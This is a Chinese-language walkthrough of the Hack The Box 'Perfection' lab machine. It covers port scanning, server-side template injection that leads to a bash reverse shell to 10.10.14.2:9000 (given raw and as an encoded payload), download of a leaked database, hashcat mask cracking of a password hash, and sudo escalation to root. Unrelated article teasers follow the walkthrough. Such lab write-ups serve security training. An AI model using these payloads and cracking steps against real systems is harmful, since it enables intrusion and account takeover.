Hack The Box-Perfection

总体思路

端口扫描->SSTI RCE->db文件泄露->hashcat破解密码

信息收集&端口利用

nmap -sV -sC -A 10.10.11.253

在这里插入图片描述

目标只开放了22和80端口,先进行目录扫描和子域名探测

dirsearch -u 10.10.11.253
ffuf -c -u http://pefection.htb/ -H "Host: FUZZ.perfection.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

在这里插入图片描述

在这里插入图片描述

没有有价值的信息,回到80端口上

SSTI RCE利用

在这里插入图片描述

来到界面,是一个成绩计算器,先随意填写数值查看效果

在这里插入图片描述

在这里插入图片描述

提交数据时候抓包,放入一段反弹shell的代码

#源代码为
<% system("echo 
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.2/9000 0>&1 | base64 -d | bash"); 
%>;
#经过url编码和base64编码后为
category1=1%0A;<%25+system("echo+IyEvYmluL2Jhc2gKYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yLzkwMDAgMD4mMQ==+|+base64+-d|+bash");+%25>;

在这里插入图片描述

在这里插入图片描述

db文件泄露

查找当前用户有什么敏感信息

在这里插入图片描述

在Migration文件夹下有一个db数据库文件,将其下载到本地查看

在这里插入图片描述

Hashcat破解密码

有若干个用户名以及密码,将他们放入john查看是否能够破解

在这里插入图片描述

破解失败,可能是加密方式不对,继续查找敏感信息,发现在/var/spool/mail中有一段关于密码的提示

在这里插入图片描述

大概意思就是需要用户自己重置密码,重置的格式为{名字_名字的逆序_在(1,1000000000)之间的一个随机数},尝试使用hashcat的掩码爆破功能破解

hashcat -m 1400 -a 3 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f susan_nasus_?d?d?d?d?d?d?d?d?d

其中-a指定破解模式,3为指定掩码破解,后面跟的第一个参数为密文,第二个参数为要爆破的数值

在这里插入图片描述

可以看到,爆破出来的密码为:susan_nasus_413759210,使用susan/susan_nasus_413759210登录到主机

ssh susan@10.10.11.253

在这里插入图片描述

查看当前用户能够执行的权限

在这里插入图片描述

发现该用户能够执行所有的sudo命令,使用sudo提权到root用户

sudo su root

在这里插入图片描述

提权成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/511837.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Golang 程序启动原理详解

一.编译 go源代码首先要通过 go build 编译为可执行文件,然后去机器上直接执行的&#xff0c;在 linux 平台上为 ELF 格式的可执行文件&#xff0c;linux 能直接执行这个文件,而编译阶段会经过编译器、汇编器、链接器三个过程最终生成可执行文件 编译器&#xff1a;*.go 源码通…

网络基础(二)

目录 再谈"协议" 序列化 JSON 网络版计算器 HTTP协议 认识URL urlencode和urldecode HTTP协议格式 telnet指令 stat函数 struct stat类型 stringstream类型 wget指令 HTTP的方法 HTTP的状态码 传输层 再谈端口号 端口号范围划分 认识知名端口号(W…

[SpringCloud] OpenFeign核心架构原理 (二)

文章目录 1.Feign核心运行原理分析1.1 动态代理生成原理1.2 一次Feign的Http调用执行过程 1.Feign核心运行原理分析 动态代理生成原理。一次Feign的Http调用执行过程。 1.1 动态代理生成原理 通过Feign.builder().target(xx)获取到动态代理的。 调用ReflectiveFeign的newInst…

Python数据分析案例38——我国个人工作总收入影响因素分析

案例背景 偶然之间找到了CSFP(中国家庭追踪调查)的数据集&#xff0c;一个很全的家庭调查数据集。所以就想对大家现在最关心的工资和其影响因素做一点分析。 得到的结论还挺有价值的&#xff0c;有符合逻辑的&#xff0c;也有反直觉的。 数据来源 CFPS由北京大学中国社会科学…

【XR806开发板试用】Console流程解析以及添加自定义指令

写在前面的话 基于串口的指令调试总是作为基础功能出现在各个项目中。而这一小小的功能却已经包括了中断注册&#xff0c;回调函数&#xff0c;互斥量等嵌入式系统基本的软件逻辑。本文将从以下两个方面介绍XR806 SDK中Console系统。 Console初始化流程添加自定义指令 Conso…

文献阅读--Pulse-Width Modulation

《Dynamics and Control of Switched Electronic Systems》Jian Sun – Chapter 2 《Pulse-Width Modulation》 说明&#xff1a; 文献中的PWM是作为电控系统中基本控制信号去介绍的&#xff0c;但文中对PWM信号的数学证明是同样适用于通信领域的脉宽调制PDM的&#xff0c;文献…

LLM春招准备(1)

llm排序 GPT4V GPT-4V可以很好地理解直接绘制在图像上的视觉指示。它可以直接识别叠加在图像上的不同类型的视觉标记作为指针&#xff0c;例如圆形、方框和手绘&#xff08;见下图&#xff09;。虽然GPT-4V能够直接理解坐标&#xff0c;但相比于仅文本坐标&#xff0c;GPT-4V在…

js形参传递特殊字符

在前端我们给其他页面传值或者传数据到后台的时候&#xff0c;字符串经常将一些特殊符号识别成字符集。这种情况下会将数据打断或者打乱&#xff0c;比如字符串里面包含*/&这些符号的时候就会错误。 我们可以通过将字符中的特殊字符替换成十六进制的字符&#xff0c;一些特…

cannot import name ‘Flask‘ from partially initialized module ‘flask‘

bug&#xff1a; ImportError: cannot import name Flask from partially initialized module flask (most likely due to a circular import) (G:\pythonProject6\flask.py) 这个是因为包的名字和文件的名字一样 修改文件名&#xff1a; 结果 &#x1f923;&#x1f923;&…

使用 Docker 设置 PySpark Notebook

使用 Docker 设置 PySpark Notebook 第 1 步&#xff1a;拉取 Docker 镜像 首先拉取jupyter/all-spark-notebook包含 Spark 3.5.0 的镜像。 docker pull jupyter/all-spark-notebook:spark-3.5.0 第 2 步&#xff1a;设置您的工作区 在运行 Docker 映像之前&#xff0c;我们…

(MATLAB)第十二章-数列与极限

目录 12.1 数列 12.1.1 数列求和 1. 累计求和函数sum() 2. 忽略NaN累计求和函数 nansum() 3. 求此元素位置之前的元素和函数cumsum() 4. 求梯形累计和函数cumtrapz() 12.1.2 数列求积 1. 元素连续相乘函数 prod() 2. 求累计积函数 cumprod() 3. 阶乘函数 ffactorial(n…

【Docker】Docker:解析容器化技术的利器与在Linux中的关键作用

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a;Linux ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 Docker 是什么&#xff1f; Docker 的作用 Docker 在 Linux 中的重要性 结语 我的其他博客 前言 随着软件开发的不断发展&…